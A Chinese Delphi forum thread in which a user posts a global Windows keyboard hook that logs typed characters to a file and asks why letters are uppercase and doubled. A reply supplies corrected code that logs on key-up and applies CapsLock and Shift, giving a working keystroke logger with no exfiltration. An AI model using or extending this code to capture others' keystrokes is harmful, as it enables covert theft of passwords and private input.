给高手送分来了(200分)

  • 主题发起人 主题发起人 waterfish
  • 开始时间 开始时间
W

waterfish

Unregistered / Unconfirmed
GUEST, unregistred user!
我写了个hook键盘的程序,可以将输入的字母和数字存入一个文件,
但是在测试的时候我发现三个问题
1、输入的字母无论大写小写,但存在文件的字母永远都是大写
2、每输入一个字母或数字,存入盘里都成了两个字母和数字。比如说我输入
abc,但存在文件里的却成了"AABBCC"
3、当输入数字的时候,经常会出错。如果输入"009",经常存在盘里的是"``i"。我跟踪过wparam参数,这个时候是96 96 105.

这是我的源程序,如果有那位高手能给我一个完满的答案,我奉上200分
unit HookProc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls, Forms;

var
hnexthookproc:hhook;
procsaveexit:pointer;
debugfile:textfile; //定义一个日志文件
// delay : integer;
function KeyboardHookHandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
function SetKeyHook:bool;export; //加载钩子
function EndKeyHook:bool;export; //卸载钩子
procedure KeyHookExit;far;

const
afilename='c:/debug.txt'; //将键盘输入动作写入文件中
// delaytime=0;


implementation

function KeyboardHookHandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
Var FileOpened : Boolean;
begin
{ if delay<>0 then
begin
delay:=delay-1;
result:=0;
exit;
end;}
if icode<0 then
begin
result:=CallNextHookEX(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
try
append(debugfile); //以追加写打开文件
FileOpened:=True;
except
On EInOutError do
begin
try
if FileExists(afilename) = False then
begin
ReWrite(debugfile);
FileOpened := True;
end
else
begin
FileOpened := False;
Application.MessageBox('文件不能打开','错误',MB_OK+MB_ICONERROR);
end;
except
On EInOutError do
begin
FileOpened := False;
Application.MessageBox('文件不能创建','错误',MB_OK+MB_ICONERROR);
end;
end;
end;
end;
if FileOpened = False then
begin
result:=-1;
exit;
end;
// application.messagebox(PChar(inttostr(wparam)),'test',MB_OK);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,''); //回车以空格代替
write(debugfile,chr(wparam)); //写日志
end
else
write(debugfile,chr(wparam));
// write(debugfile,'W:'+IntToStr(wparam)+chr(wparam)+' '); //写日志
// write(debugfile,'L:'+inttostr(lparam and $80000000)+' ');
closefile(debugfile); //关文件
// delay:=delaytime;
result:=0;
end;

function SetKeyHook:Bool;export;
begin
Result := False;
// delay:=0;
if hNextHookProc <> 0 then Exit;
//建立Hook
hNextHookProc := SetWindowsHookEx(WH_KEYBOARD, //建立Hook的类型
KeyboardHookHandler, //Hook过程句柄(地址)
HInstance, //程序实例的句柄
0); //建立Hook的线程id
Result := hNextHookProc <> 0;
end;

function EndKeyHook:bool;export;
begin
if hnexthookproc<>0 then
begin
UnhookWindowsHookEX(hnexthookproc);
hnexthookproc:=0;
messagebeep(0);
end;
result:=hnexthookproc=0;
end;

procedure KeyHookExit;far;
begin
if hnexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit;
end;

end.
 
问题我都自己解决了,我是否可以收回这200分
 
我试着编了一段代码,经验证完全合乎你的要求。
首先,只在键抬起时才将键码写入文件,其次,大小字母的键码都是一样的,
所以要在键码是字母时判断SHIFT和CapsLock状态(其他键不用判断),而
小键盘上的数字键的键码与正常数字键的键码又不一样(后者就是数字的
ASCII码):

function MyKeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM)
: LResult; stdcall;
var
F: THandle;
CapsLocked: Boolean;
ch: Char;
WriteBytes: DWord;
begin
if Code<0 then
begin
Result := CallNextHookEX(Hook, Code, wParam, lParam);
Exit;
end;
//
Result := 0;
if (lParam and $80000000) = 0 then Exit; // 如果是键按下则返回,这样
就不会每一键记录两次了
if (wParam >= Ord('A')) and (wParam <= Ord('Z')) then
begin
// 如果是字母键则判断CapsLock状态
CapsLocked := (GetkeyState(VK_CAPITAL) and 1) <> 0;
if (GetKeyState(VK_SHIFT) and $8000) <> 0 then
// 如果SHIFT键按下则反转CapsLock状态
CapsLocked := not CapsLocked;
if not CapsLocked then
// 如果是小写字母则换成小写字母的ASCII码
wParam := wParam + Ord('a') - Ord('A');
end;
// ……
// 此处略去判断小键盘数字键
// ……
// 将ASCII码(或键值)记入文件中
F := CreateFile(PChar(LogFilename), GENERIC_WRITE, FILE_SHARE_READ,

nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if F = INVALID_HANDLE_VALUE then
begin
Application.MessageBox('文件不能打开','错误',MB_OK or MB_ICONSTOP)
;
Exit;
end;
if SetFilePointer(F, 0, nil, FILE_END) <> $FFFFFFFF then
begin
ch := Chr(wParam);
WriteFile(F, ch, sizeof(ch), WriteBytes, nil);
end
else Application.MessageBox('设置文件指针出错','错误',MB_OK or MB_IC
ONSTOP);
CloseHandle(F);
end;

记住!!
1、小键盘数字键的键码并不是数字本身的ASCII码
2、判断CapsLock和SHIFT仅对字母键才需要

祝你好运!
 
接受答案了.
 
请问你是怎么自己解答的?给我一份答案行不行?snowwear@163.net
谢谢!!!
 
gztom:
你好!

 function MyKeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM)
  : LResult; stdcall;var F: THandle; CapsLocked: Boolean; ch: Char;
 WriteBytes: DWord;
begin if Code<0 then
请问上面的Code<0 是判断什么东西?
begin
Result := CallNextHookEX(Hook, Code, wParam, lParam); Exit; end; //
Result := 0;
 
后退
顶部